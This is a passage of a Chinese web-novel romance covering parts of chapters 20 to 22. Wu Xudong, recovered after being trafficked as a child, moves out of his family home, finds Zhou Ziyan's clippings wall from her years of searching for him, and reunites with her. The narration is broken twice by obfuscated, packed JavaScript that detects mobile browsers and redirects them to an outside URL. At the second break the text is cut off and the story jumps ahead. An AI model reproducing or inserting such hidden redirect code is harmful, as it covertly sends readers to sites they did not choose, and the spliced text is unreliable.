黑色宝马缓缓远去,吴旭东抚摸着自己的嘴唇,无声的目送。 原来跟她接吻是这种感觉。 像是胸腔里坠入了一束生命力蓬勃的野火,点燃他的整个宇宙。 熊熊大火遮天蔽日,足以将他燃烧成一轮耀眼的旭日。 只为她而灿烂。 * 捡起地上的东西,吴旭东准备好好收起来。 这都是她送给她的,每一样都是无价之宝。 转身的时候,看到了神色平静的周中擎。 吴旭东脸上一热:“周叔……我……” “小东,来,周叔叔跟你聊会儿。”周中擎准备出来送一送自己女儿,没想到看到了年轻人激烈缠绵的一幕。 只得退回门内,耐心等候。 现在,女儿走了,他该跟这个小子好好谈谈了。 两人去了大巴车上。 派出所里都是人,只有大巴车上还算宽敞,也有一定的私密性。 吴旭东把东西放下,端坐在靠近过道的位置上。 周中擎坐在对面。 “小东啊,我说几个人给你听听——”他说的都是他跟吴国正的战友,每一个都混得很不错。 末了他话锋一拐:“你看,你爸爸如果不是为了照顾你妈妈,起码也会是个级别不低的领导。所以——” 周中擎拍拍他的肩膀:“自信一点,孩子。虎父无犬子,周叔相信你,一定是个特别优秀特别出色的小伙子。” 吴旭东不知道该说点什么,只能掏出裤兜里的黄鹤楼,叼上,却又克制住了,没点。 周中擎递了个打火机给他:“你子琰姐姐临走时跟我说过,你很容易受刺激,让我跟你说话注意点。可是小东,你要相信,我们这群人大半夜来看你,都是在乎你的,没有人会轻视你。自信一点,你可是我女儿看重的人,就算你不相信我们,起码要相信你子琰姐姐的眼光吧?” “周叔……”吴旭东接过打火机,没点,反倒是把烟收了起来,他捏着那打火机,斟酌半天,才问道,“我家跟你家离得远吗?” “不远,我办了个离退军人休闲娱乐中心,你爸爸经常带着你妈妈过去,到了那里,你爸爸可以休息休息,那边有专业的护工,可以帮忙照顾你妈妈。”周中擎把名片递给了他,“你子琰姐姐也经常过去。” 这是在给他制造机会了。 吴旭东不会不识好歹,说了声谢谢。 周中擎笑了:“谢你子琰姐姐就行了,我们帮你还不是为了她。” 吴旭东明白,等周中擎下车后,这才独自点燃了一根烟,默默消化。 周叔叔一定很爱很爱自己的孩子,要不然,有什么必要为了他这个没有血缘关系的孩子说这些掏心窝子的话。 而且,周叔叔应该是不反对他追求周子琰的。 这个信号很明显。 他盯着手里的打火机,终于勾起嘴唇,微微笑了笑。 他早就清楚,别人再好也不如周子琰好,今天的一切喜悦和眼泪,都是建立在周子琰没有放弃他的基础上。 而实际上,吴家已经放弃找他了。 所以他在吴家的亲人中间,才会彷徨无措,找不到家的感觉。 他不怪他们,他们也有自己的生活,不可能为了他放弃一切。 何况,他妈妈已经为了他精神失常了,他还有什么不知足的。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634927|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人就是这么一个矛盾的生物,理解明白是一回事,毫不排斥的接受就是另外一回事了。 他做不到。 他融不进去了,尤其是大哥和大嫂,他刚出来的时候,听到他们在角落里吵。 大抵是为了防着他回家争财产吧。 毕竟,他爸手里有周家好几个厂子的原始股。 想到这里,他就觉得好笑。 原来他从十七年前开始就没有家了。 王家是他再也不愿意回去的地狱。 而吴家,是他再也回不去的一个梦。 遥远,陌生。 相见不如怀念。 他的家,只有手里的一根稻草,周子琰给的。 他会用尽全力,衔来更多的稻草,精心建造他们的巢。 * 中午时分,闻到味儿的史青霞联系省里电视台的朋友,坐上采访车,兴师动众的赶了过来。 半路遇上了送弟弟过来的赵建华,干脆把赵建军一起带上了。 这是个聪明人,机会难得,便让弟弟过来帮忙跑跑腿,以后工作啊结婚啊,都有人关照。 周家自然不会拒绝,毕竟周子琰都打过招呼了。 有恩必报是周家人的准则。 便让史青霞带着赵建军一起写稿子,反正专业对口。 有了媒体的干预,事情的性质定得更严重了。 而事情解决的速度,则像是坐上了火箭。 一周后,吴旭东的身份彻底改过来了。 户口回归原籍,从小到大的学籍档案,全部改回吴旭东。 就连省城那个派出所登记的打拐英雄,也改了。 报纸和电视台铺天盖地的报道,可算是让史青霞出了回风头。 王家沟众人分别判刑三到十年不等,包括医院那些帮忙做假证明的小人。 至于王腾虎,则被记大过一次,原定的分配单位不变,只不过职级低了好几个级别,只是一个小小的办事员了。 总好过什么都不是,王腾虎彻底蔫了。 夏日的风喧嚣又热辣。 吴旭东跟楚劲雄站在路口,目送纪律检查小组的车远去。 两人一起点了根烟,楚劲雄问道:“东哥,你要回去了吧?” “别这样喊我,怪怪的。”吴旭东不喜欢这个称呼。 这一声哥不是因为他自己有了本事,而是因为他是吴家的儿子。 楚劲雄哭笑不得,索性改口:“那行,喊你姐夫得了。反正你迟早是周子琰的人。” 吴旭东明显一愣,左手下意识捏紧了裤兜里的黄鹤楼。 他没有否认,但也不知道这事能不能成。 不如沉默。 楚劲雄打趣道:“呦,害羞啦姐夫!我那天出来找你可都看到了,你们两个已经亲上了。别不承认了。” “闭嘴!”吴旭东心里烦,吐出一串烟圈,“走了。” “别啊姐夫,到我家住两天玩玩呗,反正你回去还要找工作,不如陪我转转。”楚劲雄想挽留,四年的兄弟,转眼就成了金凤凰要飞走了,舍不得啊。 吴旭东摇了摇头:“先回去看看。” “那我可以找去你吗?”楚劲雄委屈上了,“我帮了你这么大的忙,别这么冷血无情好不好?” 吴旭东什么也没说,塞了一张烟壳给他。 上面写着吴家和周子琰的地址。 如果他不在吴家,大概率是去找周子琰了。 除非周子琰拒绝他。 楚劲雄本想调侃几句,想想还是算了。 他这兄弟已经做好了吴家待不下去的准备,怪可怜的。 其实这几天他也看出来了,吴家大哥性格软弱,凡事都是大嫂说了算。 包括住酒店,都是她一手安排,别人根本插不上话。 所以吴家明明不缺钱,大家却只能住着最廉价的标准间。 既然不舍得花钱,何必装大款呢? 周家和安家都比他们有钱。 死要面子活受罪,真是的。 楚劲雄想想就觉得膈应。 不禁有些担心吴旭东的处境。 思来想去,他还是说了句掏心窝子的话:“兄弟,我说句实在话,你别生气。要是吴家真的住不下去,周子琰又在水下没有上来,那你可以直接去找周叔,我看他人不错,对你是真的好。哪怕是看在周子琰的面子上,起码他们一家没有不欢迎你的意思。” 吴旭东心里有数。 从那天团聚到现在,只有周叔叔跟安阿姨分别找他谈过几次心。 担心他,怕他敏感,想太多,不适应。 还把自家的地址写给了他,那是什么意思,再明显不过了。 可是那样算什么? 他宁可自己租个房子。 他又点了根烟:“走了。” 四年的兄弟,终究被各自的人生轨道推着,在命运的分叉口,暂时的各自向前。 也许以后还会再见,但是当下,只能各奔前程。 回去的飞机上,多了两个人。 一个吴旭东,一个赵建军。 落地后,赵建军直接去了周家的公司,在宣传部门任职,包食宿。 吴旭东则提着周子琰给他买的那堆东西,跟着回了吴家。 推开门,桌子上还摆着一碗没有吃完的羹汤。 估计走得着急,没来得及收拾。 这么热的天,早就发霉生蛆了。 吴旭东把碗直接扔进垃圾桶,却被大嫂顾蔓蔓从垃圾桶里捡了回来,埋怨道:“扔了干什么啊,不当家不知柴米贵,洗洗还能用啊。” 吴旭东没说话,转身看向了吴国正。 他住哪儿? 吴国正也不知道,毕竟事先完全没有准备啊。 只得收拾一下客厅:“东东,你先休息一会儿,书房可以收拾一下,爸这就去给你买床。” 吴旭东无话可说,裤兜里还有周子琰那天给他的一千块钱。 他二话不说,拎上自己的东西,出门找旅馆去了。 21. 爱火(二更) 陌生的城市,繁华的街道。 孤独的自己。 吴旭东转了一圈。 旅馆日租太贵,不如找个出租房月租。 最终选定了一个距离车站不远的筒子楼。 附近有国营商场,菜场,也有不少正在建设中的工地。 他学的是电气工程,应该有用武之地。 房东是个老大哥,三十来岁,见他一身书卷气,便问道:“大学生?” 吴旭东点点头。 老大哥非常开心,大学生好啊,大学生爱干净。 “这里以前是医院的家属楼,后来医院搬走了,家属楼也快拆了,估计明年吧,所以我不能长租给你,就月租吧。”老大哥实在,不想宰人。 押一付一,吴旭东爽快的付了一百块钱。 房子不大,但胜在五脏俱全,一室一厅一厨一卫,够他自己住了。 还有座机,水煤电以及电话费另算,挺方便的。 下楼买了些日用品回来,天也黑了。 他倒在床上,默默地回味八天前的那个吻。 肩膀好像还被女人的手臂紧紧勒着。 当兵的女人,劲儿大得出奇,以至于那种触感久久挥之不去。 这都第八天了,还在扰乱他的心智。 他猛地爬了起来,拿起纸笔,写下初吻的日期。 倘若年华老去,那就凭借这些微末的记忆,重拾当初的感动。 合上笔记本,他重新躺下了。 爸爸在找他吗? 不知道,找也不想回去。 那个家,连他的房间都没有,回去干什么。 却又有些内疚,他还有个精神失常的妈,为了他连命都不要了。 虽然重逢后不再念叨东东东东,但还是生活不能自理。 可是…… 他不想寄人篱下,那不止是爸妈的家,也是哥嫂的家。 没有他的位置。 忍忍吧,努力挣钱,自己买房子,请个护工,把他可怜的妈妈接过来尽孝。 这才是正经。 闭上眼,养精蓄锐,明天出去找工作。 快睡着时,又爬了起来。 算了,跟周叔叔说一声吧,万一他爸找不到他,肯定要去打扰周家。 “周叔,是我。” “小东啊!一切都好吧?” “周叔,我租了个房,不回去了,我爸要是找你,麻烦你帮我安抚一下。” 对面是一声叹息:“小东,你这孩子,太见外了,周叔叔这里有房子。” “不用,谢谢周叔。” “这是你住处的电话?”周家装了来显,每个月多交不少钱呢。 吴旭东点头:“嗯,房东家的,周叔,别让我爸来找我,我想自己静静。” “没问题。工作的事——” “我自己可以的,周叔,好意我心领了。” “好小子,有志气!放心,等你子琰姐姐上岸了,我把你号码告诉她。对了地址告诉我——” “康复路上原来的医院职工楼。” “门牌号。” “……” “怎么,想让你子琰姐姐担心?” “三栋三零三。” “有钱吗?” “子琰姐之前借给我一千,够用。” “好,你一个人好好静静,我不会让你爸爸去打扰你的。” “谢谢叔。” 还叔呢,早晚让你小子叫爸! 这世上只有他家子琰能让他服软了。 周中擎挂了电话,叹了口气:“老安啊,真被你说中了,小东自己租房住了。” “听见了。租在哪里?”老安也是刚到家,还没喘口气,正在收拾行李。 周中擎把备忘录拿给她。 老安揉了揉眉心:“这孩子,果然是吴国正的种,一个傻老帽,一个傻小帽!那个楼电路老化,动不动跳闸,怎么住?” “那怎么办?”周中擎也无奈,子琰在家就好了,小东那孩子太有主见了,别人劝不动的。 叹了口气,周中擎回到沙发前坐下,视线一扫,看到了茶几上的便条和钥匙。 赶紧拿起来看看。 是子琰三天前留的,她去部队之前,还是不放心小东。 便条上写的是—— “我亲爱的老爸老妈: 一路辛苦了! 我呢,担心小东在吴家住不长,思来想去,还是把我那套小公寓的钥匙留下来吧。 如果他在吴家一切都好,你们就不要提钥匙的事,免得吴家误会。 如果他出来自己住了,那就把钥匙给他。告诉他,当自己家,别客气。 我赶时间,就不去小公寓收拾了。 总之,如果让他去住的话,还得麻烦老爸老妈帮我把墙上的剪贴报全部撕下来,我不想让他觉得他亏欠我。 ——爱你们的子琰” 周中擎哭笑不得:“老安啊,不用担心了,子琰都给他考虑好了,想想办法让小东来家里吃顿饭吧。” 老安接过便签看了看,也松了口气。 这样安排也不错,反正他们是乐见其成的。 又怕小东来了要问子琰回来的日期,便给子琰领导打了个电话问问。 很快,老安挂断了电话:“子琰还有半个月才上岸。” “那就不撕剪贴报了,我觉得应该让小东看看,看了他心里踏实。快,打给小北,她跟小东岁数相差不大,容易说到一块儿去,让她劝小东过来一趟。” 周中擎赶紧催促老妻去张罗。 不是他不想打,只是作为异性长辈,他不如老安好说话。 老安赶紧起身,去书房打给了吴家三姑娘。 * 吴国正一回来就惹东东生气了,自己都不知道为什么。 追出来找了半天,不见人影,只能给老友打电话:“老周啊,小东离家出走了。” 周中擎不喜欢这个说法,小东哪有家,有家就不会出走了。 他问吴国正:“是不是没有给小东留房间?” “……我不是故意的,你说这都十几年了。燕西还有两个孩子要上学,没办法,只好把他的房间改成了书房。”吴国正还没有意识到问题在哪。 傻老帽名副其实的。 周中擎气得不想理他:“见过流浪的小野猫吗?见谁都龇牙!这孩子没有安全感啊!你怎么能不给他留房间呢?” “老大媳妇……”吴国正想解释。 周中擎不想听:“别给我找借口,你是做老子的,儿子窝囊你也窝囊?不行让你家燕西离了,重找个好相处的媳妇。什么玩意儿,刚回来就把人气走了,你还好意思找他。别找了,我去给他安排个地儿。你这儿子归我了!不谢!” 啪的一声,周中擎挂了电话。 吴国正愣了半天,郁闷得点了根烟。 他看着正在收拾书房的大儿子,喊道:“快别收拾了,去你周叔那里看看,把东东接回来。这算什么事儿,一回来就跑了。我也没有怎么着他呀!” 吴燕西愁眉苦脸的看了眼在阳台洗洗涮涮的女人,不敢擅自做主。 还是知会了一声:“蔓蔓,我去接东东回来。” “去什么去!脾气这么大,谁受得了他!”顾蔓蔓不让。 原本这家里什么都是她男人的,现在好了,忽然回来一个小叔子。 那天晚上她就不想去,不过是碍于周家不好惹。 现在人回来了,周家总不好再管了吧。 有他们什么事儿啊,咸吃萝卜淡操心,老四又不姓周。 吴燕西只好继续去书房收拾,人回不回来不重要,房间收拾了,就是态度有了,别人挑不出毛病。 要问他自己,对这个小弟什么感情? 也就那样吧,东东丢的时候太小了,是好是坏,是善是恶,全都看不出来。 现在忽然回来了,跟陌生人也没多少区别。 爱走走吧,等蔓蔓生了老三就住不下了,东东不回来也好。 * 天黑了。 吴旭东什么也没吃。 饿醒了,也热醒了。 不知道是停电了还是跳闸了,总之电风扇不转了。 厨房有挂面,他却懒得起来,就这么枕着双臂,看着黑沉沉的屋顶。 他怕热,这么躺下去是睡不着的。 索性起床,准备逛逛夜市,认认路。 那租房的大哥说了,三条街外有个小吃街,到了晚上特别热闹。 穿好鞋袜,拿上钥匙,刚准备出去,电话响了。 吴旭东以为是周叔打的,开口就是一声叔。 那头传来一声笑。 吴旭东愣了一下:“三姐?” “安阿姨怕你寂寞,让我陪你聊聊天。” “我没事。”谢谢安阿姨,真细心。 “东东,怎么啦,大嫂给你脸色看了是吧?” “……” “大哥也没有拦着点对不对?” “……” “你不说我都知道。大哥窝囊,大嫂强势,咱爸一门心思照顾咱妈,平时总是让着大嫂的。” “为什么让着她?” “你想嘛,哪个女人愿意有个精神不正常的婆婆,所以呢,大嫂总觉得自己吃亏了,动不动就拿咱妈说事。你别跟他们一般见识。” “我真的没事。” “别以为我听不出来,你很失望吧!是不是在想,周子琰怎么不给你打电话?” “……” “人家去潜艇上调试声呐了,半个月后才能上岸。” “知道了。” “安阿姨还让我问问你,想不想看看周子琰住的地方?想的话,自己去找周叔叔拿钥匙。” “这不好吧?” “反正话我带到了,你别后悔。好了东东,我不能再跟你聊了,不然蕾蕾姐又要说我偷奸耍滑了。你是不知道,她跟周子琰是反的。她看起来好脾气,实际上是个铁石心肠,严厉得不得了。周子琰呢,看着不好惹,其实嘴硬心软,心里住着一个小姑娘呢。” “看出来了。” “东东,加油啊,别把这么好的周子琰拱手让人了。她的追求者可不少呢。” “嗯。” “那我挂了,心情不好就给我打电话,上飞机前号码都给你了,没丢吧?” “没有。” “那就好。东东,姐等你喜酒哦!” “好。” 挂断电话,吴旭东枯坐在床上,抱住了自己。 是的,周子琰不是不想给他打电话,而是太忙了,这事她走的时候强调过。 让他慎重考虑。 他得承认,等待的时间里,真是寂寞如雪。 可是他有那个吻,回味绵长。 足以消解心里的不安。 不过,还有半个月吗? 真是太久了。 还是去她的住处看看吧,既然周叔叔提了,那她应该是不反对的。 他出门坐公交,往周家去了。 周家住得挺高档的,一梯一户,十九楼,顶部大平层,五百来平,欧式装修。 周中擎亲自开的门:“小东啊,快来快来,还是你面子大,你安阿姨好久没做过饺子了,今天沾你的光。” 吴旭东却没有进去。 大理石的地面,太高档了,怕弄脏人家的地面。 周中擎明白,赶紧给他拿了双拖鞋过来:“别嫌弃,这是你安阿姨刚买的,也不知道合不合你的脚。” “谢谢叔叔阿姨。”吴旭东换了鞋,犹豫片刻,把自己的鞋摆在了门外面。 周中擎俯身,直接给他拿进来了:“哎呦你这孩子,鞋子放外面干什么,家里没那么多规矩,快进来。” 好吧,吴旭东进来了。 打量一番,不禁好奇:“只有你和安阿姨在家吗?” “要么说我们两个是空巢老人呢。你小杰大哥整天在天上飞来飞去,他那媳妇又是个事业心强的,整天泡在单位不着家,一双儿女都是娘家爸妈在带,买了房子,住出去了。你蕾蕾姐跟你三姐住研究所呢,轻易也不回来。你子琰姐姐更不用说了,我跟你安阿姨一年到头都见不到她几面。剩下子琛,还没有毕业,住学校。好不容易放暑假回来了,一到家就去找同学了。”周中擎大致介绍了一下。 吴旭东明白了,晚上顶多回来一个周子琛,再没有其他人了。 挺好的,没什么不自在的。 他走到厨房,问道:“安阿姨,要我帮忙吗?” “你会吗?”老安好奇,能主动干家务的男孩子可真不多见啊。 她家子琛就懒得跟头猪一样。 吴旭东说会,下意识卷起袖子,想想又放下了。 扣扣子的时候,老安转过头来看了眼:“小东啊,你的事我们都知道,别不好意思,没有人笑话你。嫌热就卷起来。对了,老周啊——” “哎,来了。”周中擎拿着一瓶红酒,正准备开呢。 老安问道:“子琰不是让你问问国外的朋友吗,那个祛疤膏有没有效果啊?” “有的有的,再等几天,已经寄过来了,海关那边也要走流程的。”周中擎哪能忘了这事,这都是子琰离开东莱镇的时候叮嘱过的。 老安放心了:“小东啊,来,包饺子,不会阿姨教你。” 吴旭东当然会,只是没吃过几次。 王家沟条件太差,吃不起。 他忽然有些鼻子发酸。 记忆里最后一次吃饺子,还是因为他考上了大学。 他偷偷给自己做了顿饺子,就六个,全素的。 下锅煮了,庆祝自己终于要摆脱魔爪了。 结果被王大柱堵在了半路…… 不想了,王大柱坐牢去了。 前尘往事,就此别过。 他深吸一口气,卷起袖子,去水池那里洗了把手,一起包饺子。 周中擎开了酒,见他们两个都在厨房忙,干脆不喊了。 先去阳台看看花花草草,浇完水,也卷起袖子,一起来包饺子。 下饺子的时候,吴旭东看着热水里翻滚的饺子,嗅到了久违的烟火气息。 很香,很诱人。 是家的味道。 奇怪,他跟周子琰还没有确定关系。 为什么会有这种感觉。 他不知道。 但是,他看得出来,周叔叔跟安阿姨发自内心的在照顾他的情绪。 吃完还特地拿了本相册给他,连着那张便签一起。 “你子琰姐姐的,拿着吧。这是她公寓的钥匙,你要是想住就住,不想住就锁起来,回头自己把钥匙给她。”周中擎交代完,又怕他身上没钱,拿了一个牛皮纸信封给他。 他没要,说什么也不肯要。 周中擎不再坚持,抓起大吉普的钥匙:“走吧,叔叔送你去,顺便接子琛回来,这个臭小子,不知道在外面野什么。” 车子很快停下。 是一个高档的白领小区。 距离周家父母不远,走过来估计十几分钟。 楼层不高,九楼,一梯三户,九零九。 周家人都喜欢住在最高处。 周中擎送到这里,便回去了:“小东啊,有事打电话。你不要拿叔叔当外人,叔叔会生气的。” “好。”吴旭东握紧了公寓的钥匙,目送周中擎进了电梯。 却迟迟没有开门。 这算什么呢? 主人不在家,他就这么突兀的进去了。 不合适。 可是…… 周叔叔这么做,一定有他的用意。 而且……周子琰的便条也给他了。 她总是为他设想得那么周到。 如果不进去看看,也太不识好歹了。 思来想去,他还是打开了公寓的门。 推开门,打开灯,玄关那里躺着一个购物袋,明显是赶时间,随手一扔,没有整理。 里面是一双新的男士拖鞋,标签还在上面,三天前买的。 周子琰买的。 四十七码。 她笃定了他会来,是吗? 还是说,只是有备无患。 不管怎么样,起码她准备了。 她心里有他。 只是接过一次吻的关系,她已经愿意让他登堂入室了。 还考虑一个月做什么,他现在就想做周子琛的姐夫。 哪怕别人骂他不要脸,他也不在乎。 换上拖鞋,关上了门。 回头看向客厅的时候,他的双脚却被钉住了。 墙上钉了一整圈的软木板,四面八方,铺天盖地。 上面全是剪贴报,用图钉固定,大大小小,形形色色,各种日期和事发地的,全都是关于走失儿童的报道和线索。 旁边还有地图,好多城市都做了标记,上面贴着标签:已登。 登什么,当然是寻人启事。 他简直无法想象,周子琰为了找他,到底付出了多少心血。 然而一个人的精力是有限的,总有辐射不到的地方。 偏偏在一片没有标记的城市里面,有个城市突兀的被标记上了,是他上学的那座城市。 他怎么不知道,什么时候的事? 他几乎是扑了上去,没注意脚下的茶几,被绊了一跤,跌倒在地毯上,才发现茶几上放着一份解约合同。 甲方:周子琰。 乙方:史青霞。 内封寻人启事,撤销,违约金六千。 时间,七天前。 是她找到他的第四天,跟他相认的第三天。 应该也是她从军工厂离开的日期。 原来没有什么巧合。 原来没有什么幸运。 是她一直在找他,所以才…… 这一瞬间,吴旭东仿佛沉到了一个蓄满蜜糖的池子里,彻底成了一个水鬼,淹死也不觉得冤。 心甘情愿,甘之如饴。 做她的水鬼。 他怔怔的看着这份解约合同,呼吸急促,丝丝缕缕,都是甜。 挣扎着起身,他找到了卧室里的座机,打给了楚劲雄:“我走之前问你,你是怎么知道周子琰在找我的,你不肯说。现在可以告诉我了吗?” “她不让说啊。”楚劲雄很冤枉啊,天知道他憋得有多难受。 吴旭东直接问他:“寻人启事,史青霞,对不对?” “你都知道了还问我。”楚劲雄松了口气,“喂,我可丑话说在前头啊,别说是我说的。我可不想惹她,吃不了兜着走吗我。” 怪不得连史青霞也没说,估计周子琰都叮嘱到了。 怕他觉得他欠她的对不对? 可是欠了又怎么样? 他把他这个人还给她!他的一切,都给她! 是,他一贫如洗,可他有信心,他可以的,他能挣大钱。 实在不行,他把汽修店卖了,拿着钱做点买卖,寻找更多的机会。 他可以让她做个快乐的富婆,随便挥霍。 吴旭东挂断电话。 匍匐在床沿上。 视线里,一张写字台隔着单人床跟他静静地对望。 上面摆着一本扣上的笔记本,牛皮封面,带红绸书签。 他鬼使神差的爬起来,走了过去。 伸出手,真想翻开看看。 最终还是缩了回来。 偷看别人的东西是不道德的,哪怕对方把钥匙给了他。 思来想去,他还是忍住好奇心,转身离开。 关门的时候,才意识到卧室里全是机动战士高达的海报,中间有一个另类,格外的显眼。 是两个稚童的合照,正对着单人床。 左边的三岁,牙都没长齐,天真又无邪。 右边的五岁,神采飞扬,天生的大姐头风范。 吴旭东屏住呼吸,走过去,伸手轻轻抚摸着墙上的照片。 长一米多,宽一米左右。 特地放了这么大,得花不少钱吧? 还用相框装裱了起来。 真舍得。 下面写了一行字:小东,我会找到你的! 吴旭东忽然笑了。 泪却落了下来。 是的周子琰,你找到我了。 一辈子都是你的。 吴旭东离开了周子琰的公寓,什么也没碰,只带走了之前在周家时,周叔叔给他的相册,以及周子琰的那张便签。 他把门锁好,反复检查,确认没有问题了,这才走了。 回到筒子楼,不厌其烦地翻看周子琰小时候的照片。 越看越是喜欢。 最后竟然抱着相册睡着了,便签也夹在里面。 那都是爱,沉甸甸的,充盈了他全部的生命。 哪怕她不在身边,他也能知足常乐。 所以,即便跳闸了,电风扇不转,他也睡得香甜。 第二天一早,他出去找工作。 工地负责人见他细胳膊细腿的,不肯要他。 那就去修车店。 因为经验丰富,所以不费吹灰之力。 不管怎么说,先干着吧,起码有收入了,不至于饿死。 至于长期的有发展前景的工作,慢慢找。 实在不行可以自己创业,做大老板。 总之,这个时代不缺机会,只缺发现机会的眼睛。 夜里下班回家,电话响起。 又是三姐这个传话筒。 “东东,昨晚睡哪儿了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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干脆就这样,穿着她之前买的,等在了她的小公寓门口。 连早饭都忘了吃,就这么靠在门口,手里拿着一份报纸,手臂夹着她的相册,耐心的等着。 一个小时过去,人没来。 两个小时过去,人还是没来。 三个小时…… 快中午了。 吴旭东终于有点烦躁了。 他看了看手表,难道部队有事? 思来想去,还是拿起钥匙,开了门。 周子琰有大哥大,回家后应该会带上的吧? 他打了过去。 “小东?人呢?修车店说你请假了,出租房也没见着你啊。” 什么?她居然知道他在修车店打工? 她是神仙吗? 千里眼,顺风耳? 吴旭东傻眼了:“你在哪儿?” “我等了半天,又联系不上你,就回来了,马上到我小公寓。” “我在。” “啊……你不早说。等着,看我怎么收拾你!”周子琰恼了,一脚加了油门。 半个小时后,一个戴着黑长直假发穿着鹅黄色连衣裙的女人风风火火从电梯里出来了。 手上还提着一个购物袋。 吴旭东还没开口,就挨了一顿臭骂:“你不要矫情了行不行?来之前不能跟我爸妈说一声吗?怕他们笑话你还是怎么?谁会没事闲的笑话你!笑话你是能发财还是能长命百岁啊!你能不能——唔——” 吴旭东不想说话,不管不顾的抱住这个女人,堵住她聒噪的嘴巴。 一解相思之苦。 混乱间什么时候开了门都不知道。 谁开的,也记不清了。 反正就是开了,两人几乎是同一时间踹了鞋,一个扔了相册,一个扔了购物袋。 周子琰还不忘把门关上。 还没站稳,就被吴旭东摁在了怀里,天旋地转。 周子琰,你完了,被我讹上,一辈子都甩不掉的。 然而他很快停了下来,不敢,怕亵渎了她。 把人裙子都撕坏了,脖子上也留下了牙印,最终还是理智回归。 心跳密集得像战鼓,两人全都倒在地毯上,一个大喘着气,一个在瞪眼。 “对不起。” “你行不行啊!” “我可以吗?” “不知道,你想清楚了,我这条贼船可不是随随便便能下去的。” “周子琰,我才是贼船,应该是你考虑清楚。” “呦呵,二十几天不见,长本事啦!” “周子琰,讲讲道理,是你招惹我的!” 吴旭东握着她的手,指着墙上的剪贴报,理直气壮。 “神经,找你还犯错啦!”周子琰气笑了,爸妈真是的,怎么没给撤掉啊。 理了理乱糟的裙子,算了,不穿了。 起身去卧室换一条。 吴旭东没敢跟过去。 女人再出来的时候,穿着一条粉色的蕾丝套裙。 上身的蕾丝小衬衫很短,只到肚脐那里。 下身的裙子也不长,在膝盖上面。 估计是国外的款式,怪让人把持不住的。 阳光从身后的阳台打进来,让这个女人神圣得宛如一个天使。 粉面含春的天使。 她的心里果然住着一个温柔的女孩子。 吴旭东看得眼睛都直了。 从上到下,很快注意到了她脚踝上的伤,虽然好了,却留了道淡粉色的疤痕。 就像他的额头,拆了纱布,留下了粉色的回忆。 她给的回忆。 甜的,甜到让人窒息的回忆。 风从窗口扑进来,将空了的购物袋吹到他怀里。 吴旭东恍然大悟:“新买的?” “没有啊,谁要特地为你买衣服穿。还没确定关系呢。”周子琰嘴硬。 亲都亲过了,十有八.九的事。 只是还没到一个月的期限。 然而刚刚路过一家时装店,还是鬼使神差的买了。 哎,承认吧,她看上他的脸蛋儿了。 真好看。 没吃早饭都不觉得饿。 吴旭东也不饿,被她美的! 他站了起来,走过去,环住她的腰:“不想等一个月了,可以吗?” “理由。” “周子琰,我爱你,想做你的男人,做你的唯一,可以吗?” “……” “怎么,需要跟你打申请吗?需要的话我现在就去写,希望周指导批准。” “跟谁学的啊,油嘴滑舌的!”周子琰笑着推开他,“等等,窗帘没拉。” 他去拉。 然后呢? 周子琰别开视线:“吴旭东,我知道你在想什么。” “我也没有藏着掖着。”吴旭东走回她身边,没有停,往卧室走去,“我去写申请,我记得你写字台上有纸笔。” “你给我回来!”周子琰制止了他。 吴旭东回头问她:“为什么?” “别碰我的日记本。”周子琰转身,冲过去把本子收起来,锁进了抽屉里。 是她大意了,当时着急去部队述职,匆匆给他买了双拖鞋扔玄关那里就走了,屋里什么都没有收起来。 原以为爸妈会帮她收起来,结果被坑了。 别人家孩子坑爹坑妈,他们家爹妈坑闺女。 坑死了。 难怪今天见了面这么疯,都被他知道了。 回头又要觉得他欠她的,她不喜欢。 锁起日记本,周子琰转身靠在写字台上,冷着脸:“有没有偷看?” “没有。对你发誓。”吴旭东捡起摔落在地上的相册,举着宣誓。 周子琰被他逗笑了:“神经。” “可是我想看。可以看吗?”吴旭东好奇,想知道在他缺席的时光里,她都在想些什么。 周子琰拒绝:“不可以。申请驳回。” “好的领导,你说了算。”吴旭东把相册放下,重新走回她面前,“周子琰,你找不到第二个这么乖的男朋友了。选我,不吃亏。” “你挺臭美啊!”周子琰惊呆了,他不是挺自卑的吗? 一阵子不见,变自信了? 吴旭东也不知道,是爱吧。 是她先动的手。 满墙的剪贴报,满世界的找。 足够了。 爸爸不够照顾他的感受,没关系。 没有哥哥姐姐的关心,也无所谓。 大嫂跋扈专制,那更加无关紧要。 他有周子琰就足够了。 这辈子的运气,都用来跟她相遇了。 人不能太贪婪。 他再一次环住了周子琰的腰:“亲你需要打申请吗?” “滚!”周子琰笑得花枝乱颤,笑着笑着,笑不出来了。 要命了,她招惹了什么人啊。 看那眼神,委屈巴巴的跟个小野猫一样。 渴望一个好心人的收留。 渴望一个温暖的家。 她心软了:“不用,明天我去部队打申请。姐们儿准了!但还是要听听领导的意见!” “周子琰!” “嗯?” “你今天太好看了。” “……” “闭上眼睛。” “干嘛?” “亲你。” “不给。” “耍赖!” “你没有耍赖?三岁就开始了!” “那你应该知道,我赖定你了。” “吴旭东!” “在呢领导。” “神经,跟你说正经的!” 吴旭东不逗她了,认真地看着她:“你说。” “你爸妈那边说一声。”周子琰握住他的肩膀,“吴伯伯是粗心一点,但他这些年很不容易。别的叔叔伯伯都飞黄腾达了,只有他,为了谈伯母,原地踏步。” “好,听你的。”吴旭东明白,爸妈有爸妈的苦衷,他不是生气,只是融不进去了,难受。 他出来住,大家都自由。 有的关系,远香近臭,那就远着点。 而有的关系,他恨不得时时刻刻,永远腻歪。 正事说完了,他再一次靠近:“可以亲了吗,领导?” 22. 蜜糖 “琰琰,跟我结婚好吗?” 